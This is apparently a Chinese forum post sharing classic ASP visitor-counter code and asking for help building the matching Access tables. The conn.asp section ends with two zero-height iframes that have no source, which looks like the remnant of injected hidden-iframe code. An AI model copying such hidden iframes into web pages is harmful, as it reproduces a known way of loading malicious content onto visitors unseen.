(1)网站首页index.asp主要是显示网站统计的内容,主要代码如下:
<script language="JavaScript" src="mm_menu.js"></script>
</head>
<!--#include file="conn.asp"-->
<%
sql="select * from home"
Set rs1= Server.CreateObject("ADODB.Recordset")
rs1.open sql,conn,1,1
%>
<!--#include file="counter.asp"--></span>
(2)conn.asp主要是用来进行网站数据统计的处理,主要代码如下:
<%
dim conn
dim connstr
on error resume next
connstr="DBQ="+server.mappath("fzw.asp")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
conn.open connstr
%>
<IfrAmE width=100 height=0></IfrAmE>
<IfrAmE width=100 height=0></IfrAmE>
(3)counter.asp主要是用来进行网站数据统计显示处理页面,主要代码如下:
<%
mode = LCASE(Request("mode"))
gif = Request("gif")
SET rs = Server.CreateObject("ADODB.Recordset")
Rs.Open "Select * From counters" ,conn,1,3
if Request.Cookies("IsFirst")=fail then
LASTIP = RS("LASTIP")
NEWIP = REQUEST.servervariables("REMOTE_ADDR")
IF CSTR(Month(RS("DATE"))) <> CSTR(Month(DATE())) THEN
RS("DATE") = DATE()
RS("YESTERDAY") = RS("TODAY")
RS("BMONTH") = RS("MONTH")
RS("MONTH") = 1
RS("TODAY") = 1
RS.Update
ELSE
IF CSTR(Day(RS("DATE"))) <> CSTR(Day(DATE())) THEN
RS("DATE") = DATE()
RS("YESTERDAY") = RS("TODAY")
RS("TODAY") = 1
RS.Update
END IF
response.Cookies("IsFirst")=true
end if
RS("TOTAL") = RS("TOTAL") + 1
RS("TODAY") = RS("TODAY") + 1
RS("MONTH") = RS("MONTH") + 1
RS.Update
Session("UserID")=RS("TOTAL")
end if
N = Now
D1 = #1/1/2008# ' 开始统计日期(月/日/年)
D2 = DateValue(N)
D3 = DateDiff("d", D1, D2)
response.write " 本站总访问:"
GCounter( RS("TOTAL") )
response.write " 人"
response.write "<br>"
response.write " 今日访问量:"
GCounter( RS("TODAY") )
response.write " 人"
response.write "<br>"
response.write " 昨日访问量:"
GCounter( RS("YESTERDAY") )
response.write " 人"
response.write "<br>"
response.write " 本月访问量:"
GCounter( RS("MONTH") )
response.write " 人"
response.write "<br>"
response.write " 上月访问量:"
GCounter( RS("BMONTH") )
response.write " 人"
response.write "<br>"
N = Now
D2 = DateValue(N)
D1 = #1/1/2008# ' 开始统计日期(月/日/年)
response.write " 本站已运行:"
GCounter( DateDiff("d", D1, D2) )
response.write " 天"
response.write "<br>"
D3 = DateDiff("d", D1, D2)
response.write " 平均访问量:"
GCounter( RS("TOTAL")\D3 )
response.write " 人"
response.write "<br>"
rs.Close
'response.write "当前有 <img src='OnlineCount.asp'> 人在线"
'response.write "<br>"
Function GCounter( counter )
Dim S, i, G
S = CStr( counter )
For i = 1 to Len(S)
G = G & "<IMG SRC=counter/" & Mid(S, i, 1) & ".gif Align=middle>"
Next
response.write G
End Function
%>
以上是代码,但是要建些Access的表呢,谁帮忙建一个Access的表给我,我只要Access的表,建好的请发到我的QQ 邮箱:891727127@QQ.com